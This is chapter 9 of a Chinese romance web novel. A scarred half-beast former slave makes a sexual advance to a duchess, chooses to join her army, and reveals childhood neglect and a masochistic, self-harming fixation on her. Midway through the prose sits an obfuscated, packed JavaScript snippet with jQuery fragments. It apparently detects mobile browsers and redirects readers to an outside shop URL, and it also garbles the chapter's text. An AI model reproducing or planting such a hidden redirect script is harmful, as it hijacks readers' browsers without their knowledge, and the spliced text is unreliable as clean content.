9. 选择
作品:《女公爵的病娇兽犬》 洁软的衣料顺着臂膀缓缓滑向背后,松松垮垮地挂在肘弯处,悬垂着半坠不坠的。
伊兰的前襟半敞着,明亮的烛光从颈下一路延伸没入锁骨,胸膛前柔白的皮肤被衬得细腻雪亮。在这一片雪瓷色里坠着浅色的粉,颜色过于别致漂亮,倒是弥补了体格纤瘦的缺点。
伊兰的手在半空中僵滞了会又收了回来,最后还是再度伸了出去,他的手缓缓接近海丽丝的袖口,像先前那名医生做的那样轻轻握住她的手腕。
海丽丝没有甩开,只是微微皱了下眉梢,眼神平淡无波,似乎在观察他想做些什么。
伊兰微微仰起头看着她,牵动海丽丝的手,将她的食指尖放在自己上唇唇心处,随后又引着她的指尖加重力道,来回摩挲着自己的唇瓣。
伊兰的唇色还带着病态的浅红色,唇心与常人不同,呈现微微往下坠的弧度,像汲了水的珍珠,软弹微干的触感让海丽丝的指尖下意识地蜷了蜷。
“不是,这样吗?”
伊兰看过窑子里的妓女就是这么接待客人的,在她们的招揽下,那些客人都会露出贪婪愉悦的神色,甚至开始直接上手脱她们的衣服,可海丽丝什么也没做,不躲不避,只是淡淡地睥睨着他,不带任何欲色,却也没有厌弃。
是不喜欢这个地方吗?还是不够?
伊兰稍稍松开手,继续握着她的手引导着缓缓下滑,掠过起伏凸起的喉结,抚过骨干明利的锁骨,最后停在心口的位置。
烛光落在金色长睫上,随着呼吸颤动发出浅柔的光芒,这是海丽丝头一回目光长时间停驻在他的脸颊和身体上,也让她看清了他五官的细节和身形体态。
他这副姿态,确实脆弱又诱人,让人忍不住想要破坏,也难怪比起其他奴隶,身上会多出那么多虐待的痕迹。
心脏的跳动声从伊兰胸腔深处一下下袭来,顺着海丽丝的指尖传入,在快要触及那点粉时,伊兰却像是故意挑逗吊着对方胃口似的,陡然将海丽丝的手往上移,停顿了下才伸出柔软的舌尖。
他的舌形薄而偏长,看起来又湿又柔软,一点点靠近海丽丝的指尖。
就在他俯下头颅刚要含住她的手指时,海丽丝倏然抽回了手。
噼啪一声烛芯的爆响,打破了这尴尬的静谧。
海丽丝冰蓝的眸子里没有任何波澜:“我需要的不是这样的价值。”
伊兰怔怔地握住空荡荡的手心,在海丽丝抽回手的瞬间,热意瞬间散得一干二净。
“那我,价值……”伊兰不解。
“人类与魔兽最大的区别是,人类在看见同伴受伤时,大多数情况下会给予同类帮助,而魔兽只会吃掉弱者。我只是用别人曾经对我的方式对待你而已,不需要你强行回报于我。”
伊兰疑惑地看着海丽丝,别人?是那名医生吗?他曾经这样对待过她么?
明亮的烛火在海丽丝眸中晃动,她给伊兰指了两条路:“你的伤已经好了,若是想离开这里,随时可以走。但是离开这里前,我会拔掉你的翅牙和口器,确保未来你发生兽化后,它们不会成为危险的利器。”
提及伊兰最敏感脆弱的口器,海丽丝又补充了句:“我会用麻醉药剂和最好的伤药,尽量让你感觉不到疼痛。”
“如果你真想向我奉上价值的话,你必须效忠于我,需要遵守我制定的一切规则,不得无故用高于人类的半兽人力量随意伤害弱小无辜,如果我发现你随意伤害人类……”
她的言辞锋利又冷漠,目光却干净明亮,像能灼破夜色。
伊兰抬起头仰望着海丽丝,沙哑道:“你会,杀了我,是吗?”
伊兰相信在这片属于她的领地里,连血液气味都能分辨的她可以极快地找到他,再毫不犹豫地轻易砍下他的头颅。
他的瞳眸里凝结成两点冷光,没有半点惧意,眼神如黑暗里兴奋的野兽,蠢蠢欲动。
他见过她斩杀魔兽的样子,体态矫健,行动轻盈,速度快得让人兴奋,力量也强大得令人上瘾。
每一次骨刀斩落的弧度,每一次锋刃划起的血线,都会带动他的心脏剧烈缩张,血液翻腾滚热,让他感觉灵魂在快速膨胀,在不停地发颤,好像只有被她砍下头颅,他的心脏才会停止跳动,血液倒挂在那柄骨刀下,温度才能慢慢冷却。
他不怕被她砍下头颅,反而期待她的审判,期待靠近那股力量。
海丽丝未回答,没有说出口的答案早已显而易见。
屋外的树叶沙沙作响,墙脚镶嵌着宝石的鎏金坐钟齿轮不停滚动着,钟摆来回摆动发出清脆的滴答声。
房间内,寂静得仿佛只能闻见彼此的呼吸声。
海丽丝并没有让伊兰立刻作出抉择,这名少年留不留下,对她而言并没有太大的区别。
伊兰却很快开口:“我想,留下。”
原以为伊兰还要再考虑一段时间,没想到他这么快就想好答案,海丽丝道:“既然你想留下,你可以和露丝一样选择成为城堡的雇佣仆人兼任守卫,吃住行都由城堡财务支出,职责是处理城堡杂务,虽然不需要参加任何远征,但在迷雾森林爆发兽潮时要担任守卫城堡的责任。”
“不在。”伊兰哑声语:“你……”。
海丽丝暂时未懂他这句话想表达的意思,只是目光清明看向伊兰,指了指他肘间褪下的衬衣,示意他穿回去。
“还有一个选择是进入第十军团,目前军团缺乏视野广阔,行动更为自由的飞行类半兽人,但军团士兵要求严格,除了要有强健的体魄,还需要拥有基本的学识,进入军团成为预备兵参与训练后,也要经过各项考察才能从转成正式骑兵。”
“一旦考核不合格或者出现另一种极端情况,即性腺衰退导致无法分化时,你会被请离军团。”
伊兰眉梢微皱,开口追问:“性腺,衰退?”
分化期会分化出能力和成熟期会诱发情潮的知识都是之前通过监狱记录官讲解他才知道的,除此之外他并不懂半兽人的生理知识。
“极个别半兽人不仅无法分化出能力,后期性腺还会出现无法发育成熟,导致身体各项机能衰退,无法继续从事高强度从军生涯的情况,军团出于士兵健康考虑,会请离士兵并给予适当补助。”
海丽丝抬起平静的眸子:“选择第十军团就意味着和我站在同一阵营,你还有慎重考虑的机会。”
加入军团不仅意味着成为猎杀魔兽的士兵,也表明已经被打上她的标签,跟她荣辱与共,也不得背叛她。
海丽丝重新给了伊兰时间考虑,可话音刚落,就听到沙哑的声音再次缓缓从口中吐出:“军团,我选择,您。”
意思是他选择加入她的军团。
海丽丝思虑片刻,“那就别再伤害你自己。既然选择了第十军团,从今天起,你的身体就属于我。”
也许是怕伊兰再次误会,她又道:“受伤会浪费人力精力,还有医用资源。”
伊兰垂眸不语。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125788|196062||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“养好身体后,鉴于你先前未受过教育,我会安排人教你识字等基本的课程,得空我也会教你。”
海丽丝掀开莉莉安几人炖的汤:“莉莉安几人为了让你补充营养炖的。”
伊兰看着那黑黢黢的汤,没说什么拿起来仰头就要喝,还未入口,忽然又被海丽丝接了过去。
她先抿了一小口,随后那素日像覆着层白霜的冰冷长眉蹙了起来,随后哽了一下才重重吞咽了下去。
果然莉莉安几人做出来的东西,比行军粮更难以下咽。
“汤是不错的,但有些凉了,我明日让厨房……”
伊兰晃了晃神,从她眼里看到了一丝鲜活的、强撑着的神色,海丽丝话未说完,他很快伸手又拿回了汤盅,缓慢地将里面的汤喝下。
“……”
海丽丝看着他面不改色喝下,眉梢皱得更厉害了。
伊兰有些卡顿道:“以前,后厨桶里,有汤。”
这次海丽丝很快就推测出他要表达的意思,以前他所在地方后厨的垃圾桶里有倒掉的剩汤,他喝过。这碗炖盅味道再不佳,也比那些混了各种剩菜剩饭的馊汤好喝。
“那时候你几岁?”
“五。”
“五岁成了孤儿?”
伊兰摇摇头:“母亲在。"
海丽丝明显没有预料到他饿到喝泔水的时候年龄尚小,母亲也还健在。
“她没有给你饭吃?”
“晚上,她忙,白天,睡觉。”
伊兰喝完最后一口,声音沙哑道:“八岁,她死了。”
下半夜气温渐低,海丽丝不再多问,道了声“好好休息”起身离开。
和她稳健的走姿不同,那条线条流畅的修长兽尾呈S形,总会不自觉地左右摇摆,在烛光下十分优雅曼妙。
在海丽丝踏着暖色地毯走到门处,背后再次传来了像是从喉咙里挤出的沙哑声:“伊兰……”
“我叫,伊兰。”
海丽丝稍稍偏过头去。
烛火跳跃闪烁,微光照亮少年的面容,他的唇瓣被汤水润得有了血色,像一只死灰复燃的蝶。
回正视线,海丽丝在踏出房间前也对他做了正式介绍:“海丽丝·兰开斯特,兰开斯特家族第五任领主,兼任第十军团团长。”
伊兰看着海丽丝的身影从门缝中彻底消失。
“海丽丝……”“兰开斯特……”
他反复低声呢喃了好几遍她的名字,最后终于流畅地说出了口:“海丽丝·兰开斯特。”
其实去外面,还是留在这里,对他来说都是一样的,到处都是像伊芙琳一样的人类,他们敷着同样厚重的白色铅粉,高抬着头颅,喷着浓臭的香水,喜欢通过主宰别人来彰显自己的地位。
但海丽丝不同,她看起来对他的外表没有兴趣,也不需要他服侍。那她需要什么?如果被这个人需要会是一种什么样的感觉?
伊兰歪了歪头,他的身体变得焦热起来,像伤口一点点长出血肉的感觉。
在近一点,他想与她再靠近一点,听从她的命令,她会允许他的靠近吗?
如果被她那双冰冷的目光慢慢屠宰,被她暴力地撕碎,这种感觉会更加激烈吗?
明亮的月光穿过玻璃,栖息在他的伤口处,伤口深处层次不齐的血肉边缘正互相贴近愈合,形成完整的筋膜。
他已经不再需要刻意延缓或是撕裂伤口了,他找到了更为激烈的感觉。

